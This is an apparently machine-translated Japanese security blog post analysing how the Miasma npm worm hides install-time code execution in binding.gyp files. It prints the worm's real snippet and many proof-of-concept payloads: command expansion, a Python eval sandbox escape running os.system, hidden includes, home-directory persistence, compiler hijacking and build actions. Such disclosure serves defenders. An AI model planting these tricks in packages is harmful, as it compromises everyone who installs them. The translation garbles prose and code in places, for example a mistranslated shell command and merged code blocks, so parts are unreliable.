
あれからまだ数日しか経っていませんが、 32の公式Red HatパッケージがMiasma攻撃の被害を受けた npm上で。ワームは悪意のある preinstall 侵害された各パッケージにスクリプトを追加し、 node index.js 依存関係をインストールした瞬間に自動的に実行され、ユーザーが自身のコードを1行も実行する前に、クラウドの認証情報、CIトークン、SSHキーなどを収集していました。
その後数日の間に、Miasmaは当初の標的をはるかに超えて拡散し、npm、PyPI、GitHub上の他の複数のパッケージにも影響を及ぼしました。その中には、 @vapi-ai/server-sdk (週間ダウンロード数71,000件)および ai-sdk-ollama (週間ダウンロード数3万1千回)。
しかし、この新たな波には新たな仕掛けが隠されている。
もしこれらのパッケージのいずれかを監査し、その package.json、見なかった preinstall または postinstall フックを見て、インストールしても安全だと結論づけたなら、考え直したほうがいい。最新の亜種はトリガーを package.json をすべて、インストール時にnpmが問題なく実行してくれる、はるかに監視の行き届いていないファイルに移し替える: binding.gyp.
この記事では、~について詳しく掘り下げていきます binding.gyp. ここでは、それが何であるか、なぜnpmがそれを実行するのか、そして任意のコードを実行するために悪用される驚くほど多くの方法について、以下から見ていきます。 サンドボックス回避 to コンパイラの乗っ取り……それにもかかわらず、一見するとごく普通のビルドファイルのように見える。
node-gyp と binding.gyp とは何ですか?
多くのnpmパッケージは、純粋なJavaScriptで構成されているわけではありません。これらのパッケージには、CやC++で書かれたネイティブのアドオンが含まれており、Nodeがそれらを読み込むには、まずバイナリにコンパイルする必要があります。このコンパイル処理を担当するツールは node-gyp、npmが自動的にバンドルして実行するクロスプラットフォームのビルドツールです。これはGYP(Generate Your Projectsの略)をラップしたもので、GYPはもともとGoogleがChromiumプロジェクトのために開発したビルドシステムです。しかし、GoogleはChromiumでのGYPの使用を中止し、メンテナンスも終了したため、node-gypは現在、Node.jsによってメンテナンスされているフォーク版に依存しています。
node-gyp というファイルを読み込むことで、何を構築すべきかを知っている binding.gyp パッケージのルートディレクトリにあるものです。これはビルドを記述するJSON形式のファイルです(厳密にはPythonのリテラルであり、これは後で重要になります)。どのソースファイルをコンパイルするか、どのインクルードディレクトリを使用するかなどを記述しています。ごく普通の、ありふれた binding.gyp 次のような感じになるかもしれません:
{
"targets": [
{
"target_name": "addon",
"sources": ["src/addon.cc"]
}
]
}
しかし、これは容易にセキュリティ上の問題になりかねません。npmがパッケージをインストールする際、 binding.gyp ルートディレクトリに置くと、自動的に実行されます node-gyp の再ビルド そのパッケージのインストールの一環として。このパッケージは、 package.json それを実現するために。単に binding.gyp インストール中にコードを実行するには、このファイルがあれば十分です。
つまり、完全にクリーンなパッケージであっても package.jsonライフサイクルフックが一切ない場合、ファイルが存在するというだけで、インストール時に gyp ツールチェーンが起動します。
ミアズマがそれをどう利用したか
以下は、ワームが侵害されたパッケージに書き込んだ実際のコードの断片です:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}一見すると、これは次のようなビルドターゲットのように見えます セットアップ 単一のソースファイルで。よく見てみると、 情報源 配列。単なるファイル名ではなく、 <!(...).
これが <!(...) syntax は、gyp の「コマンド展開」と呼ばれる機能です。gyp がこのファイルを解析する際、その内容をリテラル文字列として扱うことはありません。代わりに、囲まれたシェルコマンドを実行し、その出力をフィールドに代入します。
つまり、その時は node-gyp ターゲットを処理する際、次のように実行します:
node index.js > /dev/null 2>&1 && echo stub.cこれを詳しく見てみると:
node index.js悪意のあるペイロードを実行します。これはindex.jsこれは、以前見たのと同じ「ミアズマ」ペイロードです 過去のレッドハットへの攻撃、このキャンペーンで使用された、難読化された認証情報窃取型ワーム。> /dev/null 2>&1すべての出力を破棄するため、インストールログには不審な内容は一切表示されません。&& echo stub.c一見無害に見えるファイル名を出力します。Gypはそれを情報源エントリなので、ビルドは継続され、問題があるようには見えません。
ペイロードは正常に実行され、バックグラウンドで動作し、ビルドも通常通り完了します。プレインストール・フックは必要ありません。
展開構文、そしてそれが見た目以上に厄介な理由
GYPでは、実際にはいくつかの種類のコマンド拡張機能が提供されています:
<!(command)/>!(コマンド)/^!(コマンド)– コマンドを実行し、その生の出力を単一の文字列として代入します。<!@(command)/>!@(コマンド)/^!@(コマンド)– コマンドを実行し、その出力をリストに分割します。これは、gypが配列を期待する場合に便利です。<!pymod_do_main(module args)– 輸入モジュールPythonモジュールとして、そのDoMain()関数を実行し、その戻り値を置換値として使用します。<|(name item1 item2 ...)という名前のファイルを作成します名前解析時に、各項目を1行ずつ記述します。
これらはすべて、実際にコンパイルが行われる前の、構文解析時に実行されます。
直感的には、これは次のような、実際に文書化されているフィールドでのみ発生すると予想されるでしょう。 情報源, 図書館 または include_dirsその直感は間違っている。そして、ここからが面白くなってくる。
GYPは、既知のフィールド一覧に対してコマンド展開を行いません。GYPが .gyp ファイルに対して、解析済みの構造全体を再帰的に走査し、展開します <!(...) そして <!@(...) 見つかった文字列値の内部であれば、その文字列がどのキーの下にあるかに関係なく処理されます。「許可されるフィールド名はこれに限る」といったスキーマは存在しません。
実際には、これは攻撃者がフィールド名(例えば some_random_key) これは gyp のドキュメントには全く記載されていないものですが、その中のコマンドはそれでも実行されます:
{
"some_random_key": "<!(node evil.js && echo 0)",
"targets": []
}ありません some_random_key gyp 内のフィールド。必ずしもそれである必要はありません。そのキーの下にある文字列には、 <!(...) トークンが再帰展開パスに到達すると、コマンドが実行されます。これが、これらのレビューを非常に困難にしている理由です。ペイロードはファイル内の任意のキーの下、任意の深さに隠されている可能性があるため、危険だと予想される数個のフィールドだけをチェックするだけでは不十分なのです。
サンドボックスからの脱出
コマンドの拡張はリスクが高いと思っていましたか? ここからさらに事態は悪化するばかりです。
これまで、私たちは binding.gyp いくつかの追加機能を備えた、少し変わったJSONファイルとして。内部的には実際にはPythonの辞書であり、そのファイルをPythonの eval(). 私の言いたいことが分かりますか?
その通りです。npmがインストール時に実行するファイルは、 eval. Gypの作者たちは、それが悪用される可能性に気づいていなかったわけではないため、彼らは eval 組み込み関数を削除した状態では:
eval(file_contents, {"__builtins__": {}}, None)この仕組みの考え方は、組み込み関数が利用できないため、gypファイルを制御する攻撃者が、シェルコマンドの実行やディスク上のファイルの読み取りといった危険な操作を行うことができないようにすることです。通常、そのような操作を行うために使用される基本的な機能、例えば __import__ を読み込むには os モジュール、または 開く ファイルにアクセスする権限はすべて取り除かれています。これは典型的なサンドボックスです。 しかし、Pythonのサンドボックス化を試みたほぼすべての取り組みと同様に、 eval…であれば、エスケープできます。
そのサンドボックスからすぐに抜け出し、GYPに任意のPythonコードを実行させることができます。以下に、完全な悪意のある binding.gyp全文は以下の通り:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')以上です。これがファイルのすべてです。JSON構文は必要ありません。一般的な 対象 または 情報源 gypファイルに見られるようなフィールドはありません。単なる1つのPython式だけです。これが機能するのは、 node evil.js が呼び出されると、この式はちょっとしたトリックを使って eval()のサンドボックス。
危険な関数は削除されましたが、無害なオブジェクトには、それらへの参照がひそかに残されています。無害な空のタプルから始めると ()、Pythonの内部オブジェクト間の関連性を辿り、削除された関数への参照をまだ保持しているものを見つけると、それを取得し、それを使って os モジュールを実行し、シェルコマンドを実行する node evil.js.
そして、誰かが実行した瞬間にこれが実行されます npm install <package>……これは、単にgypがファイルを解析した際の副産物に過ぎない。
gypの構文全体は本質的に単なるPythonの辞書であるため、この式は、一見するとごく普通のビルドファイルの任意の値の中に埋め込むことができます:
{
"variables": {
"module_name": "fast_crypto",
"openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
},
"targets": [
{
"target_name": "<(module_name)",
"sources": ["src/binding.cc", "src/crypto.cc"],
"include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
"defines": ["NAPI_VERSION=8"],
}
]
}
これは動作する binding.gyp それこそがネイティブモジュールを実際に構築することになる。ペイロードは openssl_fips 変数で、ビルドファイルの他の部分と調和するように設計されています。いいえ <!(...) コマンドの展開が必要でした。
条件についても同様です。GYPでは、ビルドファイルが環境に応じて異なる設定を適用できるよう、 条件 キー。
"conditions": [
["OS=='win'", { "sources": ["socket_win.cc"] }],
["OS=='linux'", { "defines": ["LINUX"] }],
]
それらの条件文字列、 "OS=='win'"…は、本来はごく単純なブール値のチェックを目的としています。しかし、gyp はこれらをファイルの解析時と同じ方法で評価します。つまり、それぞれをコンパイルし、 eval()、同じように組み込み関数を削除した状態で。つまり、条件式には実際には任意のPython式を指定できるということです。同じサンドボックス脱出の手法を使えば、 条件 このフィールドは、注意すべき別の攻撃ベクトルとなります:
"conditions": [
["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]
先ほど、変換する方法をご紹介しました binding.gyp インストール時に実行される任意のコード実行機能(インストール後のフックは一切使用しない)へと変換する。
なぜこれほど重要なのか、不思議に思うかもしれません。インストール時にコードを実行する方法は、すでにいくつかあります。 postinstall において package.json. にはコマンド展開が binding.gyp.
ここでの違いは、実際に文書化されている機能にはリスクが伴うものの、そのリスクはエコシステムがすでに理解している範囲内であるという点です。レビュー担当者は、 scripts ブロックを挿入 package.json. スキャナーにフラグを立てるように設定できます <!(...) 拡張。それらが存在するものだと想定されているからこそ、私たちはそれらを予測し、対応策を策定し、防御することができるのです。
サンドボックスからの脱出は、そもそも意図されたものではなかったという点で、別の種類の問題です。誰もそんなことは予想していません binding.gyp インストール時に実行される純粋なPythonコードをホストするためだけに。
インクルードファイルにコードを隠す
これまでのところ、すべてのペイロードは単一の binding.gyp ファイル。必ずしもそうである必要はありません。
binding.gyp ~に対応しています 以下を含みます key。その本来の目的は、共通のビルド設定を別のファイルに抽出することで、複数のターゲットやプロジェクトにそれらを取り込み、設定の重複を避けることにあります。gypが 以下を含みます エントリがある場合、そのファイルを読み込み、処理を行う前にその内容を現在のファイルに結合します。
ただし、問題点は、インクルードされたファイルがメインのファイルとまったく同じように処理されるという点です binding.gypつまり、前のセクションで説明したあらゆるエクスパンションやサンドボックス回避の手法が、この内部でも有効であるということです。攻撃者はペイロードを binding.gyp そして、それをインクルードファイルに移し、メインファイルは通常のビルド設定ファイルのような形にします:
{
"includes": ["evil"],
"targets": [...]
}付属の 悪 そのファイルには実際のペイロードを格納することができ、そのペイロードは、ファイル内の任意の深さにある任意のキーの下にさらに隠すことも可能です。
{
"anyrandomname": {
"somethingarbitrary": "<!(node evil_script.js && echo 0)"
}
}この仕様には、攻撃者にとっては有利だが、審査者にとっては不利となる点が2つある。第一に、添付ファイルの名前は自由に設定できる。ファイル名に特定の形式や制限は求められず、 .gyp または .gypi 拡張子。有効なJSON形式のデータが含まれていればよい。一見無害な名前のファイル 設定 または ライセンス これでも同じようにうまくいきます。
第二に、 以下を含みます は推移的です。インクルードされたファイル自体が別のファイルをインクルードし、そのファイルがさらに別のファイルをインクルードするというように、連鎖的にインクルードされることがあります。さて、実際に実行されるインストール時のペイロードは、 binding.gyp 分析を始めた。
自動インクルードと永続化
インクルードの使い方はもう理解できたかな? 実はちょっとした落とし穴があるんだ。実は、 以下を含みます 重要:node-gypは一部のファイルを自動的に読み込むためです。
node-gypがビルドを設定する際、パッケージのルートディレクトリ内で2つのファイルを探します。 config.gypi そして common.gypi、そして見つかったものはすべて強制的に含めます。これは、あたかもそれらを 以下を含みます. これらは他のgypファイルと同様に処理されるため、前のセクションで説明したテクニックはすべてこれらでも有効です。レビュー担当者が注意すべき点は、 binding.gyp 彼らを指さす。A binding.gyp 単なる空の波括弧1組であっても、同階層の要素からペイロードを取り出すことができる config.gypi:
{ }{
"variables": {
"anything": "<!(node evil.js && echo 0)"
}
}最初のファイルは全体です binding.gyp。2つ目は config.gypi、その横に静かに置かれていて、インストールすると動作します。
それは良くないが、次の問題はさらに深刻だ。node-gypも自動的に含めてしまう ~/.gyp/include.gypi…は、ユーザーのホームディレクトリから解決され、そのユーザーが実行するすべての gyp ビルドに反映されます。このプロジェクトだけでなく、すべてのプロジェクトです。そこにペイロードを一度配置すれば、すべてのネイティブビルドで永続化されます npm install ~とともに binding.gyp 二度とそんなことしないように。
依存関係を通じてコードを取り込む
とは別に 以下を含みます, gypターゲットは宣言できます 依存関係 全く異なる方法で定義された他のターゲットについて .gyp ファイル。
依存関係が別の gyp ファイルを指しており、そのファイルも他のファイルと同様に解析・展開されるため、依存関係 攻撃者に、別のファイル内のコードに到達するための、第二の独立した手段依存関係 。
{
"targets": [
{
"target_name": "main",
"type": "none",
"dependencies": ["dep.gyp:dep_target"]
}
]
}参照された dep.gyp ファイルは、そのターゲットのいずれかの中にペイロードを格納します:
{
"targets": [
{
"target_name": "dep_target",
"type": "none",
"sources": ["<!(node malicious.js && echo stub.c)"]
}
]
}前述の通り 以下を含みます、参照されるファイル名は、有効なJSON形式のデータが含まれていれば何でもいいのです。そして、ちょうど 以下を含みます、これら 依存関係 他動詞となることもある。
コンパイラの乗っ取り
会社情報 binding.gyp また、ネイティブコードのビルド方法、呼び出すコンパイラ、および渡すフラグも制御しており、その制御自体が攻撃の標的となる。
ネイティブビルドでは、どのコンパイラを使用し、どのようなオプションを指定すべきかを指定する必要があります。Gypでは、これを以下の2か所で指定します:
- 対象ごとの設定など
cflags,定義する、およびinclude_dirs. グローバル設定を作成する(Linux / macOS) – gyp ファイル内の最上位ブロックで、ビルド全体に対するツールチェーンを設定します:- Cコンパイラ(
CC) - C++コンパイラ(
CXX) - リンカー(
リンク) - アーカイバ (
AR) - コンパイラオプション (
CFLAGS) - リンカーフラグ (
LDFLAGS)
- Cコンパイラ(
コンパイルはインストール時に実行されるため、悪意のある攻撃者がコンパイラをすり替え、自身のスクリプトを指定してしまう可能性があります:
{
"make_global_settings": [
["CC", "<(module_root_dir)/cc-evil.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}これでビルドが実行されるようになりました cc-evil.sh すべてのコンパイル段階におけるコンパイラとして、ここで cc-evil.sh 次のような感じになるかもしれません:
ノード "$(dirname "$0")/evil.js"
exec cc "$@"スクリプトは好きなことを何でもできます(たとえば、 evil.js) その後、実際のコンパイラを呼び出すことで、ビルドは成功し、誰も気づかないようにする。
GYPには、ccacheのようなコンパイラランチャー向けの専用コンベンションさえ用意されています。A *_wrapper keyは、実際のコンパイラの前にプログラムを挿入します:
{
"make_global_settings": [
["CC", "/usr/bin/cc"],
["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}ここでgypが実行されます cc-evil-wrapper.sh /usr/bin/cc ...、悪意のあるスクリプトに実際のコンパイラを引数として渡す。
さらに、攻撃者はコンパイラを置き換える必要さえありません。単にコンパイラにフラグを渡すだけで、gypがそれらのフラグを生成されたビルドファイルに書き込むからです。makeベースのビルドでは、これらのフラグは 作る 変数、および 作る …を評価できる $(shell) その中に含まれているコマンドを実行してしまう。つまり、フラグの値を乗っ取って、悪意のあるコマンドを実行させることが可能になる。
注入する場所は2か所あります。対象そのもの、例えば cflags (または xcode_settings (macOSの場合):
{
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"],
"cflags": ["$(shell node <(module_root_dir)/evil.js)"]
}
]
}あるいは、すべてのターゲットに対してグローバルに、次のようにして グローバル設定を作成する:
{
"make_global_settings": [
["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
],
"targets": [
{
"target_name": "addon",
"type": "static_library",
"sources": ["src/addon.c"]
}
]
}ビルドが実行されると、悪意のある $(shell ...) コマンドが実行され、その出力が無害なフラグとしてコンパイラに渡されるため、ビルドは正常に完了します。
コンパイラを乗っ取る具体的な仕組みは、ビルドツールやOSによって異なる場合があります。しかし、重要なポイントは、コンパイラやリンカーの設定はコードと同様に扱う価値があるということです。なぜなら、次のようなビルドツールは 作る その中身がどのようなものかを評価することができます npm install 時間。
アクションを通じてコードを実行する
これまでのところ、すべてのベクターはコマンド展開、サンドボックス回避、あるいはコンパイラの乗っ取りに依存してきました。GYPには、設計上コマンドを実行する別の機能があります: アクション.
アクションとは、ターゲットに紐付けられたビルドステップであり、任意のコマンドを実行します。通常は、ソースファイルを生成したり、コンパイル前に入力を処理したりするために使用されます。これは、ターゲットの内部にある、仕様書に記載された機能です。 アクション 配列。各アクションには、実行するコマンド、その入力、および出力が指定されます。
アクションの目的はコマンドを実行することにあるため、攻撃者はここで展開構文を使う必要すらありません。gypにペイロードを直接実行させるだけで済むのです:
{
"targets": [
{
"target_name": "via_actions",
"type": "none",
"actions": [
{
"action_name": "poc_action",
"inputs": [],
"outputs": ["poc_action_done"],
"action": ["node", "evil.js"]
}
]
}
]
}ターゲットがビルドされると、gypが実行されます node evil.jsいいえ <!(...) 必須。コンパイルするソースファイルはなく、単にコマンドを実行することだけを目的としたビルドステップです。
知っておく価値のある、よく似たものがひとつあります: 規則. ルールはアクションに似ていますが、指定された拡張子に一致する入力ファイルごとに1回実行される点が異なります。適切な拡張子を持つファイルをルールに指定すると、そのファイルに対してコマンドが実行されます:
{
"targets": [
{
"target_name": "via_rules",
"type": "none",
"sources": ["trigger.poc"],
"rules": [
{
"rule_name": "poc_rule",
"extension": "poc",
"outputs": ["<(RULE_INPUT_ROOT).done"],
"action": ["node", "evil.js"]
}
]
}
]
}ここでは、ターゲットに単一のソースファイルが指定されています。 trigger.poc. このルールでは、拡張子が .poc, gyp は実行されるはず node evil.js. 攻撃者は両方の部分を制御しているため、一致する拡張子を持つ使い捨てのファイルを送信し、ビルド時にそのファイルに対してルールがトリガーされます。その効果はアクションと同じですが、トリガーとなるのはターゲットそのものではなく、一致するファイルです。
この家族にはもう一人、 ビルド後処理、これはターゲットのビルド完了後に実行されるコマンドです。これには同様の アクション 配列:
{
"targets": [
{
"target_name": "via_postbuilds",
"type": "none",
"postbuilds": [
{
"postbuild_name": "poc_postbuild",
"action": ["node", "evil.js"]
}
]
}
]
}重要なポイントは、 binding.gyp ファイルはインストール時にコードを実行し、 まさにまるで preinstall または postinstall 接続する package.json……であるため、これにはまったく同じ疑いを抱くべきだ。その存在は binding.gyp 依存関係に含まれているということは、何があろうとインストール中にコードが実行される可能性があることを意味します package.json は言う。きれいな package.json インストールスクリプトがないからといって、何も動作しないという証拠にはならなくなった。
セキュリティチームは、この点に注意を払うべきです。「Miasma」のようなサプライチェーン攻撃の背後にいる者たちは、インストール時にコードを実行する新たな方法を明らかに模索しており、 binding.gyp 見落としがちな問題です。特に、サンドボックスからの脱出のような、仕様書に記載されていない動作が関わる場合はなおさらです。これが最後だと思い込むのは、甘すぎるでしょう。
方法 Aikido これを検知する
もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題をフィルタリングしてください。最近発生しているMiasmaキャンペーンは、現在インストール時に binding.gyp 実行において、100/100の重大な問題として浮上する。 Aikido は毎晩再スキャンを行いますが、影響を受けている可能性があると思われる場合は、直ちに手動で再スキャンを実行することをお勧めします。
~ではない Aikido をご利用でない方へ。アカウントを作成してリポジトリを連携しましょう。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。
さらに一歩踏み込むなら、 Aikido デバイス保護機能により、チームのデバイスにインストールされたソフトウェアパッケージ(ブラウザ拡張機能、ライブラリ、プラグイン、依存関係を含む)を可視化し、管理することができます。
このようなパッケージがインストール段階に到達する前に阻止するには、Aikido Chain(オープンソース)をご利用ください。これは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpx コマンドをインターセプトし、インストール前にAikido に基づいてパッケージをチェックします。

